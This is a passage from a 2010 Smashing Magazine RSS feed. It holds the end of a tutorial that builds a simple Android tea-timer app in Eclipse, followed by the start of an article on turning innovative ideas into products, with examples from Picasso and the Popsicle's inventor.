<em>Run-&gt;Run</em> or press <em>Ctrl+F11</em>.</li><li>Choose <em>Android Application</em> and click <em>OK</em>.</li></ul><p>Eclipse will now try to run the application on an Android device. At the moment, though, you don&#8217;t have any Android devices running, so the run will fail and you&#8217;ll be asked to create a new <em>Android Virtual Device</em> (AVD).</p><p><img class="aligncenter size-full wp-image-68582" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/eclipse_no_avd.jpg" alt="Eclipse No Avd in Get Started Developing for Android with Eclipse" width="534" height="172" /></p><h4>Android Virtual Devices</h4><p>An Android Virtual Device (AVD) is an emulator that simulates a real-world Android device, such as a mobile phone or Tablet PC. You can use AVDs to test how your application performs on a wide variety of Android devices, without having to buy every gadget on the market.</p><p>You can create as many AVDs as you like, each set up with different versions of the Android Platform. For each AVD you create, you can configure various hardware properties such as whether it has a physical keyboard, GPS support, the camera resolution, and so on.</p><p>Before you can run your application, you need to create your first AVD running the target SDK platform (Google APIs 1.6).</p><p>Let&#8217;s do that now:</p><ul><li>If you haven&#8217;t tried to run your application yet, click <em>Run</em> now (or hit <em>Ctrl+F11</em>)</li><li>When the target device warning pops up, click <em>Yes</em> to create a new AVD.</li><li>Click <em>New</em> in the <em>Android SDK and AVD Manager</em> dialog that appears.</li><li>Enter the following settings for the AVD:<pre class="brush: js">Name: Android_1.6
Target: Google APIs (Google Inc.) - API Level 4
SD Card Size: 16 MiB
Skin Built In: Default (HVGA)</pre></li><li>Click <em>Create AVD</em> to have Android build your new AVD.</li><li>Close the <em>Android SDK and AVD Manager</em> dialog.</li></ul><p><a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/sdk_manager_new_avd.jpg"><img class="aligncenter size-full wp-image-68583" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/sdk_manager_new_avd.jpg" alt="Sdk Manager New Avd in Get Started Developing for Android with Eclipse" width="400" height="574" /></a></p><h4>Running the Code</h4><p>Try running your application again (<em>Ctrl+F11</em>). Eclipse will now build your project and launch the new AVD. Remember, the AVD emulates a complete Android system, so you&#8217;ll even need to sit through the slow boot process just like a real device. For this reason, once the AVD is up and running, it&#8217;s best not to close it down until you&#8217;ve finished developing for the day.</p><p>When the emulator has booted, Eclipse automatically installs and runs your application:</p><p><a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/app_running.jpg"><img class="aligncenter size-full wp-image-68737" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/app_running-550-e1287474474253.jpg" alt="App Running-550-e1287474474253 in Get Started Developing for Android with Eclipse" width="499" height="355" /></a><br /> <em><a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/app_running.jpg">Large image</a></em></p><h3>Building Your First Android Application</h3><p>Testing generated code is all well and good, but you want to start building a real application. For this, we&#8217;ll step through a simple design process and build an application that you can deploy to your Android device.</p><p>Most developers (myself included) like a <strong>constant supply of good tea or coffee</strong>. In the next section of this article you&#8217;ll build a simple tea counter application to track how many cups of tea (<em>brews</em>) the user has drunk, and let them set a timer for brewing each cup.</p><p>You can download the complete code for this tutorial on <a href="http://github.com/cblunt/brewclock">GitHub</a>.</p><h4>Designing the User Interface</h4><p>One of the first steps to building any Android application is to design and build the user interface. Here&#8217;s a quick sketch of how the application&#8217;s interface will look:</p><p><a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/design_sketch.jpg"><img class="size-full wp-image-68578 alignnone" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/design_sketch.jpg" alt="Design Sketch in Get Started Developing for Android with Eclipse" width="331" height="505" /></a><br /> <em><a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/design_sketch.jpg">Large image</a></em></p><p>The user will be able to set a brew time in minutes using the <em>+</em> and <em>-</em> buttons. When they click <em>Start</em>, a countdown will start for the specified number of minutes. Unless the user cancels the brew by tapping the button again, the brew count will be increased when the countdown timer reaches 0.</p><h4>Building the Interface</h4><p>Android user interfaces, or <em>layouts</em>, which are described in XML documents, can be found in the <code>res/layouts</code> folder. The template code that Eclipse generated already has a simple layout declared in <code>res/layouts/main.xml</code> which you may have seen previously while the application was running on the emulator.</p><p>Eclipse has a graphical layout designer that lets you build the interface by &#8216;dragging&#8217; and &#8216;dropping&#8217; controls around the screen. However, I often find it easier to write the interface in XML and use the graphical layout to preview the results.</p><p>Let&#8217;s do this now by changing <code>main.xml</code> to match the design sketch above:</p><ul><li>Open <code>res/layouts/main.xml</code> in Eclipse by double-clicking it in the <em>Package Explorer</em>.</li><li>Click the <code>main.xml</code> tab along the bottom of the screen to switch to XML view.</li></ul><p>Now change the content of <code>main.xml</code> to:</p><pre class="brush: js"># /res/layouts/main.xml
&lt;?xml version="1.0" encoding="utf-8"?&gt;
&lt;LinearLayout
  xmlns:android="http://schemas.android.com/apk/res/android"
  android:orientation="vertical"
  android:layout_width="fill_parent"
  android:layout_height="fill_parent"&gt;
  &lt;LinearLayout
    android:orientation="horizontal"
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:padding="10dip"&gt;
    &lt;TextView
      android:layout_width="wrap_content"
      android:layout_height="wrap_content"
      android:textSize="20dip"
      android:text="Brews: " /&gt;
    &lt;TextView
      android:layout_width="fill_parent"
      android:layout_height="wrap_content"
      android:text="None"
      android:gravity="right"
      android:textSize="20dip"
      android:id="@+id/brew_count_label" /&gt;
  &lt;/LinearLayout&gt;
  &lt;LinearLayout
    android:orientation="horizontal"
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:layout_weight="1"
    android:gravity="center"
    android:padding="10dip"&gt;
    &lt;Button
      android:id="@+id/brew_time_down"
      android:layout_width="wrap_content"
      android:layout_height="wrap_content"
      android:text="-"
      android:textSize="40dip" /&gt;
    &lt;TextView
      android:id="@+id/brew_time"
      android:layout_width="wrap_content"
      android:layout_height="wrap_content"
      android:text="0:00"
      android:textSize="40dip"
      android:padding="10dip" /&gt;
    &lt;Button
      android:id="@+id/brew_time_up"
      android:layout_width="wrap_content"
      android:layout_height="wrap_content"
      android:text="+"
      android:textSize="40dip" /&gt;
  &lt;/LinearLayout&gt;
  &lt;Button
    android:id="@+id/brew_start"
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:layout_gravity="bottom"
    android:text="Start" /&gt;
&lt;/LinearLayout&gt;</pre><p>As you can see, Android&#8217;s XML layout files are verbose, but allow you to control virtually every aspect of elements on the screen.</p><p>One of the most important interface elements in Android are <code>Layout</code> containers, such as the <code>LinearLayout</code> used in this example. These elements are invisible to the user but act as layout containers for other elements such as <code>Buttons</code> and <code>TextViews</code>.</p><p>There are several types of layout views, each of which is used to build different types of layout. As well as the <code>LinearLayout</code> and <code>AbsoluteLayout</code>, the <code>TableLayout</code> allows the use of complex grid-based interfaces. You can find out more about Layouts in the <a href="http://developer.android.com/guide/topics/ui/layout-objects.html">Common Layout Objects</a> section of the API documents.</p><h4>Linking Your Layout With Code</h4><p>After saving your layout, try running your application in the emulator again by pressing <em>Ctrl+F11</em>, or clicking the <em>Run</em> icon in Eclipse. Now instead of the &#8216;Hello World&#8217; message you saw earlier, you&#8217;ll see Android now displays your application&#8217;s new interface.</p><p>If you click any of the buttons, they&#8217;ll highlight as expected, but don&#8217;t do anything yet. Let&#8217;s remedy that by writing some code behind the interface layout:</p><pre class="brush: js"># /src/com/example/brewclock/BrewClockActivity.java
...
import android.widget.Button;
import android.widget.TextView;

public class BrewClockActivity extends Activity {
  /** Properties **/
  protected Button brewAddTime;
  protected Button brewDecreaseTime;
  protected Button startBrew;
  protected TextView brewCountLabel;
  protected TextView brewTimeLabel;

  ...
 }</pre><p>Next, we&#8217;ll change the call to <code>onCreate</code>. This is the method that gets called whenever Android starts your application. In the code that Eclipse generated, <code>onCreate</code> sets the activity&#8217;s view to be <code>R.layout.main</code>. It&#8217;s that line of code that tells Android to decode our layout XML document and display it to the user.</p><h4>The Resource Object</h4><p>In Android, <code>R</code> is a special object that is automatically generated to allow access to your project&#8217;s resources (layouts, strings, menus, icons&#8230;) from within the code. Each resource is given an <code>id</code>. In the layout file above, these are the <code>@+id</code> XML attributes. We&#8217;ll use those attributes to connect the <code>Buttons</code> and <code>TextViews</code> in our layout to the code:</p><pre class="brush: js"># /src/com/example/brewclock/BrewClockActivity.java
...
public class BrewClockActivity extends Activity {
  ...
  public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.main);

    // Connect interface elements to properties
    brewAddTime = (Button) findViewById(R.id.brew_time_up);
    brewDecreaseTime = (Button) findViewById(R.id.brew_time_down);
    startBrew = (Button) findViewById(R.id.brew_start);
    brewCountLabel = (TextView) findViewById(R.id.brew_count_label);
    brewTimeLabel = (TextView) findViewById(R.id.brew_time);
  }
}</pre><h4>Listening For Events</h4><p>In order to detect when the user taps one of our buttons, we need to implement a listener. You may be familiar with listeners or <em>callbacks</em> from other event-driven platforms, such as Javascript/jQuery events or Rails&#8217; callbacks.</p><p>Android provides a similar mechanism by providing <code>Listener</code> interfaces, such as <code>OnClickListener</code>, that define methods to be triggered when an event occurs. Implementing the <code>OnClickListener</code> interface will notify your application when the user taps the screen, and on which button they tapped. You also need to tell each button about the <code>ClickListener</code> so that it knows which listener to notify:</p><pre class="brush: js"># /src/com/example/brewclock/BrewClockActivity.java
...
// Be sure not to import
// `android.content.dialoginterface.OnClickListener`.
import android.view.View.OnClickListener; 

public class BrewClockActivity extends Activity
  implements OnClickListener {
  ...
  public void onCreate(Bundle savedInstanceState) {
    ...
    // Setup ClickListeners
    brewAddTime.setOnClickListener(this);
    brewDecreaseTime.setOnClickListener(this);
    startBrew.setOnClickListener(this);
  }
  ...
  public void onClick(View v) {
    // TODO: Add code to handle button taps
  }
}</pre><p>Next we&#8217;ll add code that handles each of our button presses. We&#8217;ll also add four new properties to the Activity that will let the user set and track the brewing time, how many brews have been made, and whether the timer is currently running.</p><pre class="brush: js"># /src/com/example/brewclock/BrewClockActivity.java
...
public class BrewClockActivity extends Activity
  implements OnClickListener {
  ...
  protected int brewTime = 3;
  protected CountDownTimer brewCountDownTimer;
  protected int brewCount = 0;
  protected boolean isBrewing = false;
  ...
  public void onClick(View v) {
    if(v == brewAddTime)
      setBrewTime(brewTime + 1);
    else if(v == brewDecreaseTime)
      setBrewTime(brewTime -1);
    else if(v == startBrew) {
      if(isBrewing)
        stopBrew();
      else
        startBrew();
    }
  }
}</pre><p>Notice we&#8217;re using the <code>CountDownTimer</code> class provided by Android. This lets you easily create and start a simple countdown, and be notified at regular intervals whilst the countdown is running. You&#8217;ll use this in the <code>startBrew</code> method below.</p><p>The following methods are all model logic that handles setting the brew time, starting and stopping the brew and maintaining a count of brews made. We&#8217;ll also initialize the <code>brewTime</code> and <code>brewCount</code> properties in <code>onCreate</code>.</p><p>It would be good practice to move this code to a separate model class, but for simplicity we&#8217;ll add the code to our <code>BrewClockActivity</code>:</p><pre class="brush: js"># /src/com/example/brewclock/BrewClockActivity.java
...
public class BrewClockActivity extends Activity
  implements OnClickListener {
  ...
  public void onCreate(Bundle savedInstanceState) {
    ...
    // Set the initial brew values
    setBrewCount(0);
    setBrewTime(3);
  }

  /**
   * Set an absolute value for the number of minutes to brew.
   * Has no effect if a brew is currently running.
   * @param minutes The number of minutes to brew.
   */
  public void setBrewTime(int minutes) {
    if(isBrewing)
      return;

    brewTime = minutes;

    if(brewTime &lt; 1)
      brewTime = 1;

    brewTimeLabel.setText(String.valueOf(brewTime) + "m");
  }

  /**
   * Set the number of brews that have been made, and update
   * the interface.
   * @param count The new number of brews
   */
  public void setBrewCount(int count) {
    brewCount = count;
    brewCountLabel.setText(String.valueOf(brewCount));
  }

  /**
   * Start the brew timer
   */
  public void startBrew() {
    // Create a new CountDownTimer to track the brew time
    brewCountDownTimer = new CountDownTimer(brewTime * 60 * 1000, 1000) {
      @Override
      public void onTick(long millisUntilFinished) {
        brewTimeLabel.setText(String.valueOf(millisUntilFinished / 1000) + "s");
      }

      @Override
      public void onFinish() {
        isBrewing = false;
        setBrewCount(brewCount + 1);

        brewTimeLabel.setText("Brew Up!");
        startBrew.setText("Start");
      }
    };

    brewCountDownTimer.start();
    startBrew.setText("Stop");
    isBrewing = true;
  }

  /**
   * Stop the brew timer
   */
  public void stopBrew() {
    if(brewCountDownTimer != null)
      brewCountDownTimer.cancel();

    isBrewing = false;
    startBrew.setText("Start");
  }
  ...
}</pre><p>The only parts of this code specific to Android are setting the display labels using the <code>setText</code> method. In <code>startBrew</code>, we create and start a <code>CountDownTimer</code> to start counting down every second until a brew is finished. Notice that we define <code>CountDownTimer's</code> listeners (<code>onTick</code> and <code>onFinish</code>) inline. <code>onTick</code> will be called every 1000 milliseconds (1 second) the timer counts down, whilst <code>onFinish</code> is called when the timer reaches zero.</p><h4>Avoiding Hard-Coded Text in your Code</h4><p>To keep this tutorial code simple, I&#8217;ve intentionally written label strings directly in the code (e.g. <code>"Brew Up!"</code>, <code>"Start"</code>, <code>"Stop"</code>). Generally, this isn&#8217;t good practice, as it makes finding and changing those strings harder in large projects.</p><p>Android provides a neat way to keep your text strings separate from code with the <code>R</code> object. <code>R</code> lets you define all your application&#8217;s strings in an xml file (<code>res/values/strings.xml</code>) which you can then access in code by reference. For example:</p><pre class="brush: js"># /res/values/strings.xml
&lt;string name="brew_up_label"&gt;Brew Up!&lt;/string&gt;
...

# /res/com/example/brewclock/BrewClockActivity.java
...
brewLabel.setText(R.string.brew_up_label);
...</pre><p>Now if you wanted to change <code>Brew Up!</code> to something else, you would only need to change it once in the <em>strings.xml</em> file. Your application starts to span dozens of code files which keeps all your strings in one place and makes a lot of sense!</p><h4>Trying BrewClock</h4><p>With the code complete, it&#8217;s time to try out the application. Hit <em>Run</em> or <em>Ctrl+F11</em> to start BrewClock in the emulator. All being well, you&#8217;ll see the interface set up and ready to time your tea brewing! Try setting different brew times, and pressing <em>Start</em> to watch the countdown.</p><p><a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/app_finished.jpg"><img class="aligncenter size-full wp-image-68736" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/app_finished-550-e1287474491689.jpg" alt="App Finished-550-e1287474491689 in Get Started Developing for Android with Eclipse" width="499" height="355" /></a><br /> <em><a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/app_finished.jpg">Large image</a></em></p><h3>Summary</h3><p>In this short introduction to Android, you&#8217;ve installed the Android SDK and Eclipse Android Development Tools (ADT) plugin. You&#8217;ve set up an emulator, or virtual device that can test your applications. You&#8217;ve also built a working Android application which has <strong>highlighted a number of key concepts</strong> that you&#8217;ll use when developing your own Android applications.</p><p>Hopefully, this has whet your appetite for building mobile applications, and experimenting in this exciting field. Android offers a great way to start writing applications for a range of current and upcoming mobile devices. If you&#8217;ve built or are working on your own mobile app, be sure to let us know about it in the comments!</p><p><em>(ik), (vf)</em></p><hr /><p><small>© Chris Blunt for <a href="http://www.smashingmagazine.com">Smashing Magazine</a>, 2010. | <a href="http://www.smashingmagazine.com/2010/10/25/get-started-developing-for-android-with-eclipse/">Permalink</a> | <a href="http://www.smashingmagazine.com/2010/10/25/get-started-developing-for-android-with-eclipse/#comments">Post a comment</a> | <a title="Bookmark in del.icio.us" href="http://del.icio.us/post?url=http://www.smashingmagazine.com/2010/10/25/get-started-developing-for-android-with-eclipse/&title=Get%20Started%20Developing%20for%20Android%20with%20Eclipse">Add to del.icio.us</a> | <a title="Bookmark in Digg" href="http://digg.com/submit?phase=2&url=http://www.smashingmagazine.com/2010/10/25/get-started-developing-for-android-with-eclipse/">Digg this</a> | <a title="Stumble on StumbleUpon" href="http://www.stumbleupon.com/submit?url=http://www.smashingmagazine.com/2010/10/25/get-started-developing-for-android-with-eclipse/">Stumble on StumbleUpon!</a> | <a title="Tweet us!" href="http://twitter.com/home?status=@tweetmeme%20@smashingmag%20Reading%20'Get%20Started%20Developing%20for%20Android%20with%20Eclipse'%20http://www.smashingmagazine.com/2010/10/25/get-started-developing-for-android-with-eclipse/">Tweet it!</a> | <a title="Bookmark in Reddit" href="http://reddit.com/submit?url=http://www.smashingmagazine.com/2010/10/25/get-started-developing-for-android-with-eclipse/">Submit to Reddit</a> | <a href="http://forum.smashingmagazine.com/">Forum Smashing Magazine</a><br/> Post tags: <a href="http://www.smashingmagazine.com/tag/android/" rel="tag">android</a>, <a href="http://www.smashingmagazine.com/tag/mobile/" rel="tag">mobile</a><br/> </small></p>]]></content:encoded>
			<wfw:commentRss>http://adobecs6.com/2010/10/get-started-developing-for-android-with-eclipse/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How To Make Innovative Ideas Happen</title>
		<link>http://www.smashingmagazine.com/2010/10/22/how-to-make-innovative-ideas-happen/</link>
		<comments>http://www.smashingmagazine.com/2010/10/22/how-to-make-innovative-ideas-happen/#comments</comments>
		<pubDate>Fri, 22 Oct 2010 14:46:21 +0000</pubDate>
		<dc:creator>OutsideWriter</dc:creator>
				<category><![CDATA[99% conference]]></category>
		<category><![CDATA[Inspiration]]></category>
		<category><![CDATA[dorsey]]></category>
		<category><![CDATA[graham bell]]></category>
		<category><![CDATA[idea]]></category>
		<category><![CDATA[ideation]]></category>
		<category><![CDATA[innovation]]></category>
		<category><![CDATA[picasso]]></category>
		<category><![CDATA[successful]]></category>

		<guid isPermaLink="false">http://www.smashingmagazine.com/?p=69380</guid>
		<description><![CDATA[<table width="650"><tr><td width="650"><div> <img src="http://creatives.commindo-media.de/static/smashing-magazine-advertisement.gif" alt="" border="0" /><img src="http://imp.constantcontact.com/imp/cmp.jsp?impcc=IMP_%3Cmprid/%3E&#38;o=http://img.constantcontact.com/lp/images/standard/spacer.gif" alt="" border="0" width="1" height="1" /><br /> <a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=34" target="_blank"><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=34" border="0" alt="" /></a>&#160;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=35" target="_blank"><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=35" border="0" alt="" /></a>&#160;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=36" target="_blank"><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=36" border="0" alt="" /></a></div></td></tr></table><p>In one of his recent presentations, Frans Johansson explained why groundbreaking innovators generate and execute far more ideas than their counterparts. After watching his presentation <em>The Secret Truth About Executing Great Ideas</em>, my thoughts began to surface about how meaningful the presentation was regardless of a persons industry, culture, field or discipline. Anyone can come up with an amazing idea but <strong>how you execute the idea will determine your success</strong>.</p><p><a href="http://www.smashingmagazine.com/2010/10/22/how-to-make-innovative-ideas-happen/"><img class="alignnone size-full wp-image-626" title="Idea Success Rate Diagram" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/diagram-idea-success-rate.jpg" alt="Idea Success Rate Diagram" width="550" height="275" /></a></p> <p>Coming up with an innovative idea will require some <strong>methods of generating ideas</strong> from brainstorming to mind mapping that can help conjure up useful ideas. During this process one must make sure to keep focused on a goal. If you have no goal, how will you know when you have reached the finish line and are ready for refinement? Start out with a few thoughts or themes and see what you can come up with.</p>]]></description>
			<content:encoded><![CDATA[<table width="650"><tr><td width="650"><div style="width:650px;"> <img src="http://creatives.commindo-media.de/static/smashing-magazine-advertisement.gif" alt="Smashing-magazine-advertisement in How To Make Innovative Ideas Happen" border="0" /><img src="http://imp.constantcontact.com/imp/cmp.jsp?impcc=IMP_&lt;mprid/&gt;&#038;o=http://img.constantcontact.com/lp/images/standard/spacer.gif" alt="Spacer in How To Make Innovative Ideas Happen" border="0" width="1" height="1" /><br /> <a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=34" ><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=34" border="0" alt=" in How To Make Innovative Ideas Happen"  /></a>&nbsp;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=35" ><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=35" border="0" alt=" in How To Make Innovative Ideas Happen"  /></a>&nbsp;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=36" ><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=36" border="0" alt=" in How To Make Innovative Ideas Happen"  /></a></div></td></tr></table><p>In one of his recent presentations, Frans Johansson explained why groundbreaking innovators generate and execute far more ideas than their counterparts. After watching his presentation <a href="http://the99percent.com/videos/6806/frans-johansson-the-secret-truth-about-executing-great-ideas">The Secret Truth About Executing Great Ideas</a>, my thoughts began to surface about how meaningful the presentation was regardless of a persons industry, culture, field or discipline. Anyone can come up with an amazing idea but <strong>how you execute the idea will determine your success</strong>.</p><p class="offtopic">[Offtopic: by the way, did you know that there is a Smashing eBook Series? Book #1 is <a href="http://shop.smashingmagazine.com/smashing-ebook-series-1-professional-web-design-intl.html">Professional Web Design</a>, 242 pages for just $9,90.]</p><h3>Ideation: Idea Conception</h3><p>Coming up with an innovative idea will require some <strong>methods of generating ideas</strong> from brainstorming to mind mapping that can help conjure up useful ideas. During this process one must make sure to keep focused on a goal. If you have no goal, how will you know when you have reached the finish line and are ready for refinement? Start out with a few thoughts or themes and see what you can come up with.</p><p>Don&#8217;t get stuck on trying to come up with different variations of the same idea as you will want to develop ideas further later. While there is no exact path in ideation or other creativity techniques from start to finish, creating an idea you are happy with and feel has <strong>innovative potential</strong> is the key. Believing in your ideas innovative ability will give the confidence you will need later on during pitch time.</p><p><a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/disposable-cup-holder.jpg"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/disposable-cup-holder.jpg" alt="Disposable-cup-holder in How To Make Innovative Ideas Happen" width="550" height="274" /></a><br /> <em>Is this new disposable cup holder an improvement or an innovation?</em></p><p>Many people have tried to innovate, but because something similar had already existed, it&#8217;s merely an improvement. When designing within familiar bounds, you can still create something amazing but your audience will not likely be astonished at the sight of it. It is easy to see the particular innovative idea as something that was so simple to come up with but if that&#8217;s the case, then <strong>why didn&#8217;t you do it</strong>? The trick is to come up with them <em>before</em>. That&#8217;s the challenge. Once you find that special seed of an innovative idea, try to avoid key mistakes that will stop your idea from ever seeing the light of day.</p><p>As interesting as some ideas may be, that is not always enough for consumers. Getting the message out that your new idea is imperative will gain more consumer attention, especially in more difficult economic times. Always having a short and clear value proposition with an inescapable feeling of necessity can help gain capital, exposure and consumers. Do not wait until everything is &#8220;perfect&#8221; as they may never be and this will only further delay your ideas release. Act, do not sit idle!</p><h3>Nurture New Ideas</h3><p>Think of your typical cup holder from a fast food restaurant or coffee house made of cardboard. They are rigid with no handle and have been cause of drink spills and panic attacks for years. Recently a new cup holder has come about that is more mobile and has a handle (<em>see image above</em>). These changes have made it easier to transport drinks and prevent spills. This idea in itself is only an improvement on what was there previously.</p><p>To truly be innovative, you should take opposing thoughts and combine them, which increases the innovative potential of your idea (<em>see image below</em>). Think of the invention of the <a href="http://www.ahiida.com/">Burqini</a> that combines the idea of a burqa that Muslim women wear and the flexibility of a swimsuit at the beach. Innovative ideas can sometimes be explosive but many potential barriers will arise and just having an innovative idea is not always enough.</p><p><img class="alignnone size-full wp-image-624" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/diagram-innovative-idea.jpg" alt="Diagram-innovative-idea in How To Make Innovative Ideas Happen" width="550" height="275" /><br /> <em>Groundbreaking and innovative ideas come from combining ideas from different industries, cultures, fields, and disciplines.</em></p><p>In order to take an innovative idea from the embryo of a concept to market, you need to have the determination to <strong>push through failure</strong>. The odds are against you no matter the idea and <a href="http://faculty.msb.edu/homak/homahelpsite/webhelp/HomaHelp.htm#New_Product_Failure_Rates.htm">statistics say</a> you are going to fail a few times on your road to success. Knowing this, you have to hedge your bets more effectively so you can adjust your path and continue forward.</p><p>Don&#8217;t be intimidated by the perceived brilliance of innovative designs, because you are typically seeing the last iteration that has changed compared to its original concept. This happens with adjustment through failure. As Johansson mentioned, Picasso had made around 20,000 (as high as 50,000) works of art in his lifetime and Einstein published 240 papers with a short number of successful creations. <strong>Innovative success</strong> happens in volume (<em>see image below</em>).</p><p><img class="alignnone size-full wp-image-626" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/diagram-idea-success-rate.jpg" alt="Diagram-idea-success-rate in How To Make Innovative Ideas Happen" width="550" height="275" /><br /> <em>Stevens, G.A. and Burley, J., “3,000 Raw Ideas = 1 Commercial Success!”</em></p><h3>How To Pick A Successful Idea</h3><p>Don&#8217;t put everything behind your first idea! You wouldn&#8217;t go to the racetrack and put your life savings on 1/3000 odds, would you? Even though we are taught that all innovations come from a visionary who predicted a need for the future, this is usually not the case. Naturally, most inventions come from necessity and others from creative spark. When executing a creative idea with the resources you have available, you will have to <strong>make adjustments along the way</strong> that may not have been accounted for originally. Johansson suggests that you take the smallest executable step (smallest bet) so you don&#8217;t risk everything on your original idea.</p><p>Once you define the smallest step, you know your scope of risk. This is very important because you can then take baby steps to overcome challenges and utilize resources more efficiently on your road to success (<em>see image below</em>). While strategy is paramount, one shouldn&#8217;t get lost in planning and take too long to execute. <strong>Stay motivated</strong> to move forward, because forward motion even through failure is the key to success.</p><p><img class="alignnone size-full wp-image-636" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/diagram-idea-pathway-success.jpg" alt="Diagram-idea-pathway-success in How To Make Innovative Ideas Happen" width="550" height="458" /><br /> <em>&#8220;Nearly every major breakthrough innovation has been preceded by a string of failed or misguided executions.&#8221; — Frans Johansson.</em></p><p>When implementing strategy, whether it is used to free up resources or define a path to move forward, do not plan on coming up with the ultimate plan that will carry your idea to the finish line. Coming up with a base and enabling yourself to act will help to get things done and eventually discover the final solution that goes to market. You will need to bring yourself to an idea intersection where you can pick and choose the best ideas. This intersection can be used to generate extraordinary, electrifying and trendsetting ideas.</p><h3>Exploring Innovation Deeper</h3><p><a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/devotion-pablo-picasso.jpg"><img class="alignnone size-full wp-image-69585" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/devotion-pablo-picasso.jpg" alt="Devotion-pablo-picasso in How To Make Innovative Ideas Happen" width="500" height="147" /></a></p><h4>The Devotion of Pablo Picasso</h4><p><a href="http://en.wikipedia.org/wiki/Pablo_Picasso">Pablo Ruiz Picasso</a> was a Spanish artist that had a unique talent in painting by combining different techniques, theories and ideas making him one of the most well-known figures in 20th century art. Picasso had always shown a passion for art from a very young age and was determined to express his passion to the world. Overcoming high and low barriers, he achieved much success and fortune in his life. As Pablo Ruiz Picasso said, &#8220;action is the foundational key to all success.&#8221; Continuing to move forward by taking action and not sitting idle will <strong>create momentum for success</strong>.</p><p>Early in his life, Pablo Picasso slept during the day, worked at night and persevered through poverty, cold and desperation. He was known to have burned much of his early work just to keep warm at night. Picasso motivated himself through passion to push forward and eventually made luxurious connections. Constantly updating his style from the Blue Period, to the Rose Period,  to the African-influenced Period, to Cubism, to Realism and Surrealism, he was a pioneer with a hand in every art movement of the 20th century.</p><p>Picasso was extraordinarily abundant throughout his long lifetime. A skillful self-promoter, he used politics, whimsicality, and harassment as a selling tool. The total number of artworks he produced has been <a href="http://picasso.shsu.edu/">estimated</a> at 50,000, comprising 1,885 paintings; 1,228 sculptures; 2,880 ceramics, roughly 12,000 drawings, many thousands of prints, and numerous tapestries and rugs. From all of these works, only a few dozen have been regarded as a great success, leaving thousands in museums for viewing after his death and even more collecting dust. Picassco dedicated his life to art and has very influential with his portrayal of Cubism.</p><p><a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/frank-epperson-popsicle.jpg"><img class="alignnone size-full wp-image-69586" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/frank-epperson-popsicle.jpg" alt="Frank-epperson-popsicle in How To Make Innovative Ideas Happen" width="500" height="147" /></a></p><h4>Frank Epperson&#8217;s Juice on a Stick</h4><p><a href="http://en.wikipedia.org/wiki/Frank_Epperson">Frank Epperson</a> was an average American who at a young age discovered a &#8220;frozen drink on a stick&#8221; that would later become an innovative idea. In his life he dabbled in real estate before discovering how to take his idea to market.</p><p>At the age of 11 Frank Epperson invented the &#8220;Epsicle&#8221; that is now known as the &#8220;Popsicle&#8221;. He was mixing powdered soda with water to make soda pop and accidentally  left the mixing bucket outside on an unusually cold night. During the night the mixture froze  solid, with the wooden stirring stick standing straight up. There was one huge problem: you can&#8217;t start an Epsicle production line on your back porch because the weather didn&#8217;t allow for such a thing. Epperson overcame this hurdle by gaining access to a commercial freezer, stamped his name on the sticks and wanted to sell his idea.</p><p>Unfortunately for Epperson, ice-cream makers were not interested and he did not share his idea again until a fireman&#8217;s ball years later. He pushed <strong>through rejection and failure</strong> without burying all of his resources until he had achieved a solid idea. While he discovered this wonderful treat early on in life, it took him 16 years to introduce the idea and 7 years more to sell his <a href="http://www.google.com/patents?id=HYBSAAAAEBAJ&amp;pg=PP1&amp;source=gbs_selected_pages&amp;cad=2#v=onepage&amp;q&amp;f=false">Popsicle patent</a>. The popsicle can be credited for the entrance of tasty frozen deserts into the mainstream and happy children&#8217;s faces around the world. Today <a href="http://web.mit.edu/Invent/iow/epperson.html">hundreds of millions</a> of Popsicles are eaten in the United States  each year, and there are more than thirty flavors available.</p><p><a href="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/alexander-graham-bell-telephone.jpg"><img 